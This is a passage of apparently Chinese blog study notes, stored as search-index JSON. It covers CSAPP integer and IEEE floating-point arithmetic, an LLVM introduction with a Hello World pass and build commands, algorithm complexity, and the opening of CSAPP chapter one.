a=x+y;//a的结果为127\n\n\n\n补码的非执行位级补码非的方法是对每一位求补,再对结果加1。由此得到这个数的加法逆元。\n任何数值都有自己的加法逆元。\n数值加上它的加法逆元结果为0。\n无符号乘法\n将一个无符号数截断为w位等价于计算该值模2^w。\n即截断2w位中的低w位\n例:\n x\t\ty \t\tx*y\t\t截断的x*y100\t 101\t 010100\t 100\n\n\n补码乘法将一个补码数截断为位相当于先计算该值模2^w,再把无符号数转换为补码。\n x\t\ty \t\tx*y\t\t截断的x*y100\t 101\t 001100\t 100\n\n\n乘以常数在大多数机器上,整数乘法指令相当慢,需要10个或者更多的时钟周期,然而其它整数运算只需要1个时钟周期。\n因此编译器做了一项重要的优化,试着用移位和加法运算的组合来代替乘以常数因子的乘法。\n例如:\nx*2=x<<1\n例:\nx*1414=2^3+2^2+2^1x*14=x*(2^3+2^2+2^1)=(x<<3)+(x<<2)+(x<<1)x*14=x*(2^4-2^1)=(x<<4)-(x<<1)\n\n\n\n除以2的幂在大多数机器上,整数除法要比整数乘法更慢——需要30个或者更多的时钟周期。\n除以 2 的幕也可以用移位运算来实现,只不过我们用的是右移,而不是左移。无符号和补 码数分别使用逻辑移位和算术移位来达到目的。\n整数除法总是舍入到零。\n除以2的幂的无符号除法\n对无符号运算使用移位是非常简单的,部分原因是由于无符号水的右移一定是逻辑右移。\n例:12340\n\n\n\nk\n>>k\n十进制\n12340/2^k\n\n\n\n0\n0011000000110100\n12340\n12340.0\n\n\n1\n0001100000011010\n6170\n6170\n\n\n4\n0000001100000011\n771\n771.25\n\n\n​除以2的幂的有符号除法\n对于除以2的幂的补码运算来说,情况要稍微复杂一些。首先,为了保证负数仍然为负,移位要执行的是算术右移。\n对于x>=0,变量x的最高有效位为0,所以效果与逻辑右移是一样的。因此,对于非负数来说,算术右移k位与除以2^k是一样的。\n除以2的幂的补码除法,向下舍入\n-12340\n\n\n\nk\n>>k\n十进制\n12340/2^k\n\n\n\n0\n1100111111001100\n-12340\n12340.0\n\n\n1\n1110011111100110\n-6170\n-6170.0\n\n\n4\n1111110011111100\n-772\n-771.25\n\n\n关于整数运算的最后思考正如我们看到的,计算机执行的整数运算实际上是一种模运算形式。表示数字的有限字长限制了可能的值的取值范围,结果运算可能溢出。我们还看到,补码表示提供了 一种既能表示负数也能表示正数的灵活方法,同时使用了与执行无符号算术相同的位级实现,这些运算包括像加法、减法、乘法,甚至除法,无论运算数是以无符号形式还是以补码形式表示的,都有完全一样或者非常类似的位级行为。\n浮点数计算机内部表示实数的方法 \n二进制小数理解浮点数的第一步是考虑含有小数值的二进制数字。\n浮点主要通过移动二进制小数点来表示尽可能大的取值范围。\nIEEE浮点数(-1)^s M 2^E\n\n符号位 s确定了该数字是负数还是正数\t\n尾数 M通常是介于1和2之间的小数\n指数(阶码)E会以2的E次幂形式扩大或缩小尾数值\n\n\nexp是指数域,它编码了E。\n编码表示的值与E的值不同,它只是编码了E\nfrac是尾数字段,它编码了M\n指数E被解释为以偏置形式表示,所以指数E的实际值为exp-bias。\n偏移值bias=2^(k-1)-1,其中k是阶码域的位数。\n所以float指数偏移为bias=127,double是bias=1023\n指数E的值是无符号EXP值减去偏置值bias\n将M规格为1.xxxx,我们相应地调整指数(来进行规格化)\n例:如果我们要表示100.01,我们将小数点左移使之成为1.00。然后我们调整指数来表示这种位移\n尾数域xxxx中的位是二进制小数点右边的所有数字。\n浮点数不止可以用来编码实数,也可以用来编码整数\n\n浮点数有三种情况,其中阶码的值决定了这个属于哪一类。\n当阶码字段的二进制位不全为0,且不全为1时,此时表示的是规格化的值。\n当阶码字段的二进制位全为0时,此时表示的是非规格化的值。\n当阶码字段的二进制位全为1时,表示的数值为特殊值。\n特殊值有两类,一类表示无穷大或无穷小,另外一类表示不是一个数。\n你的笔记已经涵盖了浮点数的各种情况,下面是对这三种情况的详细补充和完善,以帮助你更全面地理解浮点数的表示。\n情况1:规格化的值\n在浮点数的规格化表示中,满足以下条件:\n\n指数(exp)字段的位模式不全为0(表示数值为0);\n指数字段的位模式不全为1(表示特殊数值)。\n\n在这种情况下,阶码字段解释为偏置形式的有符号整数:\n\n[ E = e - \\text{Bias} ]\n其中,( e ) 是无符号数,单精度浮点数的偏置为127,双精度浮点数的偏置为1023。\n\n\n\n因此,指数的取值范围为:\n\n单精度浮点数:[-126, +127]\n双精度浮点数:[-1022, +1023]\n\n小数字段(frac)用于表示一个范围在[0, 1) 的数值,二进制小数点位于最高有效位(MSB)左侧。尾数(M)定义为:\n\n[ M = 1 + f ]\n\n这种表示方式常称为“隐含的以1开头的表示”,因为小数部分 ( f ) 之后会隐含一个1。\n情况2:非规格化的值\n当阶码域全为0时,表示非规格化值。在这种情况下:\n\n指数值 ( E ) 被计算为:\n[ E = 1 - \\text{Bias} ]\n\n\n尾数(M)由小数字段(frac)直接给出:\n[ M = f ]\n\n\n\n非规格化值的存在使得可以表示非常小的数,尤其是接近于0的数。这种表示方式允许浮点数的表示更为连续,尤其在极小数值时,防止了“下溢”的问题。\n情况3:特殊值\n特殊值包括:\n\n零:当exp和frac均为0时,表示正零或负零。正零的符号位为0,负零的符号位为1。\n\n例如,0 00000000 00000000000000000000000 表示正零,1 00000000 00000000000000000000000 表示负零。\n\n\n无穷大:当exp全为1,frac全为0时,表示正无穷大或负无穷大。正无穷大符号位为0,负无穷大符号位为1。\n\n例如,0 11111111 00000000000000000000000 表示正无穷大,1 11111111 00000000000000000000000 表示负无穷大。\n\n\n非数(NaN):当exp全为1且frac不全为0时,表示非数(Not a Number)。这通常在计算错误时产生,如0除以0的情况。\n\n例如,0 11111111 10000000000000000000000 是一个NaN值。\n\n\n\n数字示例在IEEE 754标准中,浮点数的表示形式包括符号位、指数部分和尾数部分。您提供的数字示例可以详细说明这一点。\n\n原始整数: 15213\n二进制表示: 11101101101101\n标准化形式: ( 1.1101101101101 \\times 2^{13} )\n\n在这里,( M = 1.1101101101101 ) 是尾数,frac 是尾数去掉“1.”后面的部分,补齐为23位:\n\nfrac: 11011011011010000000000\n\n指数:\n\n原始指数 ( E = 13 )\n偏移量 ( \\text{bias} = 127 )\n编码后的指数: ( \\text{exp} = 127 + 13 = 140 )\n二进制表示: ( 140 = 10001100 )\n\n\n\n因此,编码后的结果为:\n0 10001100 11011011011010000000000\n\n舍入在浮点数表示中,舍入是确保数值精度的重要过程。根据IEEE 754标准,通常采用向偶数舍入的方法,即当尾数的最后一位为1时,如果其前面的位是0,直接舍去;如果有1存在,则需要向上舍入。通过这种方式,可以减少长期的舍入误差。\n浮点运算浮点运算的基本原则包括:\n\n对齐:在执行运算之前,尾数需要对齐。通常,会根据指数的大小调整尾数,使得它们具有相同的指数。\n计算:在尾数相同的情况下,直接进行加减法运算。\n归一化:结果可能需要归一化,以确保符合标准的浮点数格式。\n舍入:在结果计算完成后,应用舍入规则。\n\nC语言中的浮点数在C语言中,浮点数的类型主要包括 float 和 double:\n\nfloat: 单精度浮点数,通常采用32位表示(1位符号位、8位指数、23位尾数)。\ndouble: 双精度浮点数,通常采用64位表示(1位符号位、11位指数、52位尾数)。\n\n在支持IEEE 754浮点格式的机器上,这些类型直接对应于单精度和双精度浮点。C语言中的浮点数计算通常遵循向偶数舍入的规则,确保在大量运算中保持精度。\n","categories":["CSAPP"],"tags":["读书笔记"]},{"title":"LLVM","url":"/2024/10/24/binary/llvm/","content":"LLVM 简介LLVM(Low Level Virtual Machine)是一个开源的编译器基础设施项目,旨在提供一个可重用的编译器和工具链技术。它的设计目标是支持编译器的开发,优化和分析,使得开发者能够创建高效的程序和工具。\nLLVM环境搭建预编译包安装编译安装cmake -G "Unix Makefiles" \\ -DLLVM_ENABLE_PROJECTS="clang;llvm;" \\ -DCMAKE_BUILD_TYPE=Release \\ -DLLVM_TARGETS_TO_BUILD="X86" \\ -DBUILD_SHARED_LIBS=On \\ -DLLVM_ENABLE_LLD=ON \\ ../llvmmake -j8\n\nLLVM整体设计llvm 与 gcc\n架构和设计\nLLVM编译器是基于模块化、可扩展的设计,它将编译过程划分为多个独立的阶段,。并使用中间表示(IR)作为通用的数据结构进行代码优化和生成。而GCC编译器则是集成了多个前端和后端的传统编译器,其设计更加紧密一体化\n\n\n开发语言和前端支持\nLLVM编译器使用C++开发,并提供了广泛的前端支持,可以处理多种编程语言(如C、C++、Rust等),这使得开发者能够使用统一的编译框架来处理不同的语言。GCC编译器则使用C语言开发,并对各种编程语言提供了广泛的前端支持。\n\n\n优化功能\nLLVM编译器一起高度模块化的中间表示(IR)为基础,具备强大的代码优化能力。同时,LLVM的设计也使得优化部分可以在编译过程的各个阶段进行,从而实现更细粒度的优化。GCC编译器也提供了一系列的优化选项,但其优化能力相对较低。\n\n\n社区支持和生态系统\nLLVM拥有庞大而活跃的开源社区,并且有很多基于LLVM的工具和项目,如Clang、LLDB等。GCC也有强大的开源社区支持,但相对于LLVM稍显逊色。\n\n\n\nllvm 结构\n前端解析源代码,检查错误,并构建特定于语言的抽象语法树(AST)来表示输入代码。AST 可以选择转换为新的表示形式以进行优化,并且优化器和后端在代码上运行\n优化器负责进行各种转换以尝试提高代码的运行时间,例如消除冗余计算,并且通常或多或少独立于语言和目标\n后端(也称为代码生成器)将代码映射到目标指令集。除了编写正确的代码之外,它还负责生成利用受支持架构的不寻常功能的良好代码。编译器后端的常见部分包括指令选择、寄存器分配和指令调度。\n\n项目组成\nClang:解析 C/C++代码\nMLIR:构建可重用和扩展编译器基础设施的新颖方法\nOpenMP:提供了一个OpenMP运行时库函数\npolly:使用多面体模型实现了一套缓存局部性优化以及自动并行和向量化\nLLDB、libc++、libc++ABI、compiler-rt、libclc、klee、LLD、BOLT\n\n命令/工具\nllc - LLVM静态编译器\nlli - 直接从 LLVM 位码执行程序\nllvm-as - LLVM 编译器\nllvm-dis - LLVM 反编译器\nopt - LLVM 优化器\n\nclang前端\n预处理(Preprocessor):头文件以及宏的处理;\n词法分析(Lexer):词法分析器的任务是从左向右逐行扫描程序的字符,识别出各个单词并确定单词的类型,将识别出的单词转换成统一的机内表示——词法单元(token)形式;\n语法分析(Parser):主要任务是从词法分析器输出的token序列中识别出各类短语,并构造语法分析树。如果输入字符串的各个单词恰好自左至右地站在分析树的各个叶结点上,那么这个词串就是该语言的一个句子,语法分析树描述了句子的语法结构;\n语义分析(Sema):搜集标识符的属性信息与语义检查。标识符的属性种属(kind)、类型(Type)、存储位置和长度、值、作用域、参数和返回值类型。语义检查包括变量或过程未经声明就使用、变量或过程名重复声明、运算分量类型不匹配、操作符与操作数之间的类型不匹配。\n代码生成(CodeGen):将AST转换成相应的llvm代码。\n\nLLVM IR基本概念高级语言经过clang前端会将代码解析为平台无关的中间表示(IR),使编译器能够在编译、链接、以及代码生成的各个阶段忽略语言特性,进行全面有效的优化和分析。\nLLVM基于统一的中间表示来实现优化遍,中间表示采用静态单赋值形式,该形式的虚拟指令集能够高效的表示高级语言,具有灵活性好、类型安全、底层操作等特点。如图所示,当同一变量出现多次赋值时,通过SSA变量重命名的方式加以区分,可以避免出现多次定义的情况。\nIR的设计很大程度体现着LLVM插件化、模块化的设计哲学,LLVM的各种pass其实都是作用在LLVM IR上的。通常情况下,设计一门新的编程语言只需要完成能够生成LLVM IR的编译器前端即可,然后就可以轻松使用 LLVM IR的各种编译优化、JIT支持、目标代码生成等功能。\nIR表示LLVM IR有三种形式:\n\n内存中的表示形式\nbitcode形式\nLLVM汇编文件格式\n\nIR表示:\n\nModule类,Module可以理解为一个完整的编译单元。一般来说,这个编译单元就是一个源码文件。\nFunction类,这个类顾名思义就是对应于一个函数单元。Function可以描述两种情况,分别是函数定义和函数声明。\nBasicBlock类,这个类表示一个基本代码块,“基本代码块”就是一段没有控制流逻辑的基本流程,就相当于程序流程图中的基本过程。\nInstruction类,指令类就是LLVM中定义的基本操作,比如加减乘除这种算数指令、函数调用指令、跳转指令、返回指令等等。\n\n控制流图CFG:\nopt -analyze -dot-cfg-only test.llopt -analyze -dot-cfg test.lldot -Tpng xxx.dot -o 1.pngsz 1.png\n\n代码生成基本概念LLVM 目标无关代码生成器是一个框架,它提供了一套可重用组件,用于将 LLVM 内部表示转换为指定目标的机器代码,可以是汇编形式(适用于静态编译器),也可以是二进制机器代码格式(适用于JIT编译器)。\nLLVM 后端的主要功能是代码生成,因此也叫代码生成器。后端包括若干个代码生成分析转换pass将 LLVM IR转换成特定目标架构的机器代码。\n\n源码结构:\n特定目标的抽象目标描述接口的实现。这些机器描述使用 LLVM 提供的组件,并可以选择提供定制的特定于目标的传递,为特定目标构建完整的代码生成器。目标描述位于lib/Target中。\n用于实现本机代码生成的各个阶段(寄存器分配、调度、堆栈帧表示等)的目标无关算法。此代码位于lib/COdeGen中。\n目标独立组件JIT组件。LLVM JIT 完全独立于目标(使用TargetJITInfo结构来处理特定于目标的问题。独立于目标的JIT的代码位于lib/ExecvtionEngine/JIT中)\n\n\n\nLLVM Passpass 介绍\n第一个 Pass:Hello Pass//=============================================================================// 文件:// HelloWorld.cpp//// 描述:// 访问模块中的所有函数,打印它们的名称和参数数量到标准错误输出。// 严格来说,这是一个分析通道(即函数不会被修改)。但是,为了简化起见,这里没有// print 方法(每个分析通道都应该实现它)。//// 用法:// 新的 PM// opt -load-pass-plugin=libHelloWorld.dylib -passes="hello-world" \\// -disable-output <输入-llvm-文件>////// 许可证: MIT//=============================================================================//包含的头文件:导入了LLVM的各种支持库,包括老式和新式的pass管理器,以及用于输出的库//包含 LLVM 旧版pass管理器的定义#include "llvm/IR/LegacyPassManager.h"//引入 LLVM 的新pass管理器的构建工具#include "llvm/Passes/PassBuilder.h"//包含定义用于插件化pass的接口#include "llvm/Passes/PassPlugin.h"//提供LLVM的输出流支持#include "llvm/Support/raw_ostream.h"using namespace llvm;//将所有代码放在匿名空间中,避免与其他代码冲突namespace {// 该方法实现了该 pass 的功能。//访问器函数//visitor函数:该函数被调用以打印每个函数的名称和参数数量void visitor(Function &F) { errs() << "(llvm-tutor) Hello from: "<< F.getName() << "\\n"; errs() << "(llvm-tutor) number of arguments: " << F.arg_size() << "\\n";}// 新的 PM 实现//pass实现//HelloWorld结构体: 实现了 PassInfoMixin,包含了 run 方法,执行对每个函数的分析。//isRequired: 此函数确保即使函数被标记为 optnone,该pass仍会被执行。struct HelloWorld : PassInfoMixin<HelloWorld> { // 主入口点,接受要运行该 Pass 的 IR 单元(&F)和相应的 Pass 管理器(如果需要可以查询)。 PreservedAnalyses run(Function &F, FunctionAnalysisManager &) { visitor(F); return PreservedAnalyses::all(); }\t// 如果 isRequired 返回 false,那么这个 pass 将会被跳过,针对带有 `optnone` LLVM 属性的函数。请注意,`clang -O0` 会将所有函数标记为 `optnone`。 static bool isRequired() { return true; }};} // namespace//-----------------------------------------------------------------------------// 新的 PM 注册//-----------------------------------------------------------------------------//pass注册//插件信息注册:定义了如何注册pass的插件信息。使用 registerPipelineParsingCallback 注册 hello-world 名称的passllvm::PassPluginLibraryInfo getHelloWorldPluginInfo() { return {LLVM_PLUGIN_API_VERSION, "HelloWorld", LLVM_VERSION_STRING,\t//Lambda表达式 [](PassBuilder &PB) {\t\t//注册回调\t\t//参数\t\t\t//StringRef Name: 命令行中传入的pass名称。\t\t\t//FunctionPassManager &FPM: 用于管理函数pass的工具。\t\t\t//ArrayRef<PassBuilder::PipelineElement>: 管道元素的数组,包含在命令行中指定的pass元素。 PB.registerPipelineParsingCallback( [](StringRef Name, FunctionPassManager &FPM, ArrayRef<PassBuilder::PipelineElement>) { //条件判断,检查传入的名称是否为hello-world,如果匹配则调用FPM.addPass将HelloWorld pass添加到功能pass 管理器中 if (Name == "hello-world") { FPM.addPass(HelloWorld()); return true; } return false; }); }};}// 这是 pass 插件的核心接口。它确保 `opt` 在命令行中通过 '-passes=hello-world' 添加到 pass 流水线时能够识别 HelloWorld。//入口函数//插件接口:这是LLVM加载pass时调用的接口,确保LLVM能够识别 HelloWorld passextern "C" LLVM_ATTRIBUTE_WEAK ::llvm::PassPluginLibraryInfollvmGetPassPluginInfo() { return getHelloWorldPluginInfo();}\n\n使用cmake编译# 设置最低cmake版本cmake_minimum_required(VERSION 3.20.0)# 定义项目名称project(SimpleProject)# 查找 LLVM:使用 find_package 命令查找 LLVM。REQUIRED 表示如果找不到 LLVM,将报错并停止配置过程。CONFIG 表示使用 LLVM 的配置文件。find_package(LLVM REQUIRED CONFIG)# 打印找到的 LLVM 版本:输出找到的 LLVM 版本信息,${LLVM_PACKAGE_VERSION} 是由 find_package 设置的变量。message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}")# 打印配置文件路径:输出正在使用的 LLVMConfig.cmake 的路径,${LLVM_DIR} 是包含该文件的目录。message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}")include_directories(${LLVM_INCLUDE_DIRS})separate_arguments(LLVM_DEFINITIONS_LIST NATIVE_COMMAND ${LLVM_DEFINITIONS})# 添加编译定义:将之前分离出的 LLVM 定义添加到编译器选项中,确保在编译时包含所需的宏定义。add_definitions(${LLVM_DEFINITIONS_LIST})# 创建可执行文件:定义一个可执行文件 simple-tool,其源代码为 tool.cpp。add_executable(simple-tool tool.cpp)# 映射 LLVM 组件到库名:使用 llvm_map_components_to_libnames 将指定的 LLVM 组件(support, core, irreader)映射到相应的库名,并存储在 llvm_libs 变量中。llvm_map_components_to_libnames(llvm_libs support core irreader)target_link_libraries(simple-tool ${llvm_libs})# 链接库:将映射到的 LLVM 库链接到可执行文件 simple-tool,确保在编译时可以找到和使用这些库。\n\ncmake_minimum_required(VERSION 3.10)# 项目project(MyLLVMProject)# 查找 LLVM 包。REQUIRED 表示如果找不到 LLVM,CMake会报错并停止构建。# CONFIG 指示 CMake 查找 LLVM 的配置文件。find_package(LLVM REQUIRED CONFIG)# 将 LLVM 的头文件路径添加到编译器的搜索路径中。include_directories(${LLVM_INCLUDE_DIRS})# 创建一个名为 MyPass 的动态库。# 并指定源文件,MODULE 表示该库不会生成可执行文件,而是用于动态加载的插件。add_library(MyPass MODULE my_pass.cpp)# 将 MyPass 库与 LLVM 库链接。target_link_libraries(MyPass PRIVATE ${LLVM_LIBRARIES})\n\n命令行编译命令行编译是最简单暴力的方法,以Hello Pass为例:\n$ clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`\n\n其中\n\nllvm-config提供了CXXFLAGS与LDFLAGS参数方便查找LLVM的头文件与库文件。 如果链接有问题,还可以用llvm-config --libs提供动态链接的LLVM库。 具体llvm-config打印了什么,请自行尝试或查找官方文档。\n-fPIC -shared 显然是编译动态库的必要参数。\n因为LLVM没用到RTTI,所以用-fno-rtti 来让我们的Pass与之一致。\n-Wl,-znodelete主要是为了应对LLVM 5.0+中加载ModulePass引起segmentation fault的bug。如果你的Pass继承了ModulePass,还请务必加上。\n\n现在,你手中应该有一份编译好的LLVMHello.so了。根据刚才阅读过的官方文档的介绍,你知道可以通过命令\n$ clang -c -emit-llvm main.c -o main.bc # 随意写一个C代码并编译到bc格式$ opt -load-pass-plugin ./LLVMHello.so -passes=hello-world demo.bc -o /dev/null\n\n来使用它。\n自动使用Clang运行 Pass当代码文件比较多的时候,你会觉得先把源代码编译成IR代码,然后用opt运行你的Pass实在麻烦且无趣。 恰好在你手头已有一些构建工具时,你可能会想,如果能把Pass集成到clang的参数中调用,那该多好啊。 因为这样你就可以做这样的事情 (假设你的构建工具是autotools):\n$ CC=clang CFLAGS="-arg-to-load-my-pass mypass.so" ./configure$ make\n\n下面这篇文章就告诉了你该怎么做,请仔细阅读。当你读完后,你可能会觉得,这魔法参数也太丑陋了吧。我也觉得。“Maybe this is life”。\nLLVM pass\n现在回头看看前面Hello.cpp,有留意到里面的两行注释吗? static RegisterPass<Hello> X是给opt加载Pass用的, static RegisterStandardPasses Y是给clang加载Pass用的, 有时候两者只要选一个就行了。希望在读完上面这篇文章后你能理解得更深入。\n现在,你可以在clang中直接加载Hello Pass了\n$ clang -Xclang -load -Xclang path/to/LLVMHello.so main.c -o main\n\n当然,你还觉得这不够优雅的话,也可以编写一个clang的wrapper程序hello-clang。 它会读取命令行参数,然后加上-Xclang -load -Xclang path/to/LLVMHello.so构造成新的命令行参数。 最后调用execvp()执行clang。\n举例来说,如果输入hello-clang main.c -o main, 那么它会调整参数,最终执行clang -Xclang -load -Xclang path/to/LLVMHello.so main.c -o main。\n不用我说,你也能想到这个画面:\n$ CC=hello-clang ./configure && make\n\n结合 Clnag 插桩的注意点一般来说,插桩代码的时候,我们往往会在源代码中插入一些call指令来调用我们实现的函数。 举个例子,你可能会想写一个MemTrace Pass来监控运行时内存的访问。所以它会在所有访问内存的指令前插入一个call my_memlog(mem_addr)指令来记录这次的内存访问。\n假如MemTrace Pass编译在libmemtrace.so中,my_memlog()函数编译在libmemlog.a中, 那么我们不要忘记在编译的时候链接它:\n$ clang -Xclang -load -Xclang libmemtrace.so main.c -o main libmemlog.a\n\n你也可以和上面的hello-clang一样,把它封装到一个clang wrapper中。\n更难一些的Pass现在是仔细瞧瞧\nLLVM Programmer’s Manual​llvm.org/docs/ProgrammersManual.html\n的时候了。 其中,结合\n这个github项目​github.com/imdea-software/LLVM_Instrumentation_Pass/blob/master/InstrumentFunctions/Pass.cpp\n,读者可以再仔细去看看ProgrammersManual - The Core LLVM Class Hierarchy Reference这一小节,回顾一下LLVM IR在内存中的表示。 也记得看看Helpful Hints for Common Operations这一小节,学习一下怎么遍历IR、修改指令。 当你看完这些后,那个github项目你也肯定能看懂了。\n参考项目AFL++\n后言\n参考链接:LLVM架构简介 - LLVM IR入门指南 (evian-zhang.github.io)参考链接:LLVM编译器入门(一):LLVM整体设计参考链接:基于LLVM-18,使用New Pass Manager,编写和使用Pass\n\n","categories":["二进制安全"],"tags":["编译原理"]},{"title":"《数据结构和算法》chapter2 算法","url":"/2024/10/24/data_structure/data-struct-2/","content":"算法定义\n算法:算法是解决特定问题求解步骤的描述,在计算机中表现为指令的有限序列,并且每条指令表示一个或多个操作。\n\n算法的特性算法具有五个基本特性:输入、输出、有穷性、确定性和可行性。\n输入输出算法具有零个或多个输入。\n算法至少有一个或多个输出。\n有穷性有穷性:指算法在执行有限的步骤之后,自动结束而不会出现无限循环,并且每一个步骤在可接受的时间内完成。\n确定性确定性:算法的每一步骤都具有确定的含义,不会出现二义性。\n可行性可行性:算法的每一步都必须是可行的,也就是说,每一步都能够通过执行有限次数完成。\n算法设计的要求正确性正确性:算法的正确性是指算法至少应该具有输入、输出和加工处理无歧义性,能正确反映问题的需求,能够得到问题的正确答案。\n可读性可读性:算法设计的另一目的是为了便于阅读、理解和交流。\n健壮性健壮性:当输入数据不合法时,算法也能做出相关处理,而不是产生异常或莫名其妙的结果。\n时间效率高和存储量低设计算法应该尽量满足时间效率高和存储量低的需求。\n算法效率的度量方法事后统计方法事后统计方法:这种方法主要是通过设计好的测试程序和数据,利用计算机计时器对不同算法编制的程序的运行时间进行比较,从而确定算法效率的高低。\n事前分析估算方法事前分析估算方法:在计算机程序编制前,依据统计方法对算法进行估算。\n一个程序的运行时间,依赖于算法的好坏和问题的输入规模。所谓问题输入规模是指输入量的多少。\n最终,在分析程序的运行时间时,最重要的是把程序看成是独立于程序设计语言的算法或一系列步骤。\n函数的渐近增长\n函数的渐近增长:给定两个函数f(n)和g(n),如果存在一个整数N,使得对于所有的n>N,f(n)总是比g(n)大,那么,我们说f(n)的增长渐近快于g(n)。\n\n判断一个算法的效率时,函数中的常数和其他次要项常常可以忽略,而更应该关注主项(最高阶项)的阶数。\n某个算法,随着n的增大,它会越来越优于另一算法,或者越来越差于另一算法。\n算法时间复杂度算法时间复杂度定义\n在进行算法分析时,语句总的执行次数T(n)是关于问题规模n的函数,进而分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度,也就是算法的时间量度,记作T(n)=O(f(n))。它表示随问题规模n的增大,算法执行时间的增长率和f(n)的增长率相同,称作算法的渐近时间复杂度,简称为时间复杂度。其中f(n)是问题规模n的某个函数。\n\n这样用大写O()来算法时间复杂度的记法,我们称之为大O记法。\n推导大O阶方法\n推导大O阶:\n\n\n1.用常数1取代运行时间中的所有加法常数。\n2.在修改后的运行次数函数中,只保留最高阶项。\n3.如果最高阶项存在且其系数不是1,则去除与这个项相乘的系数。得到的结果就是大O阶。\n\n常数阶f(n)=3\nO(1)\n线性阶O(n)\n分析算法的复杂度,关键就是要分析循环结构的运行情况。\n对数阶O(logn)\n平方阶O(n^2)\n理解大O阶推导不算难,难的是对数列的一些相关运算,这更多的是考察你的数学知识和能力。\n常见的时间复杂度常用的时间复杂度所耗费的时间从小到大依次是:\n\nO(1)<O(logn)<O(n)<O(nlogn)<O(n^2)<O(n^3)<O(2^n)O(n!)<O(n^n)\n\n最坏情况与平均情况最坏情况运行时间是一种保证,那就是运行时间不会再坏了。\n而平均运行时间也就是从概率的角度看,这个数字在每一个位置的可能性是相同的,所以平均的查找时间为n/2次后发现这个目标元素。\n平均运行时间是所有情况中最有意义的,因为它是七位的运行时间。\n对算法的分析,一种方法是计算所有情况的平均值,这种时间复杂度的计算方法称为平均时间复杂度。另一种方法是计算最坏情况下的时间复杂度,这种方法称为最坏时间复杂度。一般在没有情况说明的情况下,都是指最坏时间复杂度。\n算法空间复杂度算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)),其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数。\n","categories":["数据结构和算法"]},{"title":"《CSAPP》chapter1 计算机系统漫游","url":"/2024/10/24/csapp/csapp-1/","content":"信息就是位+上下文系统中所有的信息——包括磁盘文件、内存中的程序、内存中存放的用户数据以及网络上传送的数据,都是由一串 0 和 1 比特表示的。区分不同数据对象的唯一方法是我们读到这些数据对象时的上下文。\n比如,在不同的上下文中,一个同样的字节序列可能表示一个整数、浮点数、字符串或者机器指令。\n程序被翻译成不同的格式C语言程序被其他程序转化为一系列的低级机器语言指令。\n这些指令按照一种称为可执行目标程序的格式打好包,并以二进制磁盘文件的形式存存放起来。\n目标程序也称为可执行目标文件。\n从源文件到目标文件的转化是由编译器驱动程序完成的。\n预处理器、编译器、汇编器和链接器一起构成了编译系统。\n\n\n预处理阶段\n编译阶段\n汇编阶段\n链接阶段\n\n了解编译系统如何工作是大有益处的了解编译系统如何工作的益处:\n\n优化程序性能\n理解链接时出现的错误\n避免安全漏洞\n\n处理器读并解释存储在内存中的指令shell 是一个命令行解释器,它输出一个提示符,等待输入一个命令行,然后执行这个命令。如果该命令行的第一个单词不是一个内置的 shell命令,那么 shell 就会假设这是一个可执行文件的名字。它将加载并允许这个文件。\n系统的硬件组成1 总线\n贯穿整个系统的是一组电子管道,称作总线,它携带信息字节并负责在各个部件间传递。通常总线被设计成传送定长的字节块,也就是字。字中的字节数是一个基本的系统参数,各个系统中都不尽相同。\n2 I/O设备\nI/O(输入/输出)设备是系统与外部世界的联系通道。\n每个I/O设备都通过一个控制器或适配器与I/O总线相连。控制器和适配器之间的区别主要在于它们的封装方式。控制器是I/O设备本身或者系统的主印制电路板(主板)上的芯片组。而适配器是一块插在主板插槽上的卡。无论如何,它们的功能都是在I/O总线和I/O设备之间传递信息。\n\n3 主存\n主存是一个临时存储设备,在处理器执行程序时,用来存放程序和程序处理的数据。从物理上来说,主存是由一组动态随机存取存储器(DRAM)芯片组成的。\n从逻辑上来说存储器是一个线性的字节数组,每个字节都有其唯一的地址(数组索引),这些地址是从零开始的。一般来说,组成程序的每条机器指令都由不同数量的字节构成。\n4 处理器\n中央处理单元,简称处理器,是解释(或执行)存储在主存中指令的引擎。处理器的核心是一个大小为一个字的存储设备(或寄存器),称为程序计数器(PC)。在任何时刻,PC都指向主存中的某条机器语言指令(即含有该条指令的地址)。\n算术逻辑单元(ALU)\nCPU在指令的要求下可能会执行这些操作\n\n加载:从主存复制一个字节或者一个字到寄存器,以覆盖寄存器原来的内容。\n存储:从寄存器复制一个字节或者一个字到主存的某个位置,以覆盖这个位置上原来的内容。\n操作:把两个寄存器的内容复制到ALU,ALU对这两个字做算术运行,并将结果存放到一个寄存器中,以覆盖该寄存器中原来的内容。\n跳转:从指令本身中抽取一个字,并将这个字复制到程序计数器(PC)中,以覆盖PC中原来的值。\n\n运行hello程序当运行程序时到底发生了什么。\n初始时,shell程序执行它的指令,等待我们输入一个命令。当我们在键盘上输入字符串./hello后,shell程序将字符逐一读入寄存器,再把它存放到内存中。\n当我们在键盘上敲回车键时,shell程序就知道我们已经结束了命令的输入。然后shell执行一系列指令来加载可执行的hello文件,这些指令将hello目标文件中的代码和数据从磁盘复制到主存。数据包括最终会被输出的字符串。\n利用直接存储器存取(DMA)技术,数据可以不通过处理器而直接从磁盘到达主存。\n一旦目标文件hello中的代码和数据被加载到主存,处理器就开始执行hello程序的main程序中的机器语言指令。这些指令将hello,world字符串中的字节从主存复制到寄存器文件,再从寄存器文件中复制到显示设备,最终显示在屏幕上。\n高速缓存至关重要系统花费了大量的时间把信息从一个地方挪到另一个地方。\n系统设计者的一个主要目标就是使这些复制操作尽可能快地完成。\n根据机械原理,较大的存储设备要比较小的存储设备运行得慢,而快速设备的造价远高于同类的低速设备。\n针对这种处理器与主存之间的差异,系统设计者采用了更小更快的存储设备,称为高速缓存存储器,作为暂时的集结区域,存放处理器近期可能会需要的信息。\n位于处理器芯片上的L1高速缓存的容量可以达到数万字节,访问速度几乎和访问寄存器文件一样快。一个容量为数十万到数百字节的更大L2高速缓存通过一条特殊的总线连接到处理器。进程访问L2高速缓存的时间要比访问L1高速缓存的时间长5倍。\nL1和L2高速缓存是用一种叫做静态随机访问存储器(SRAM) 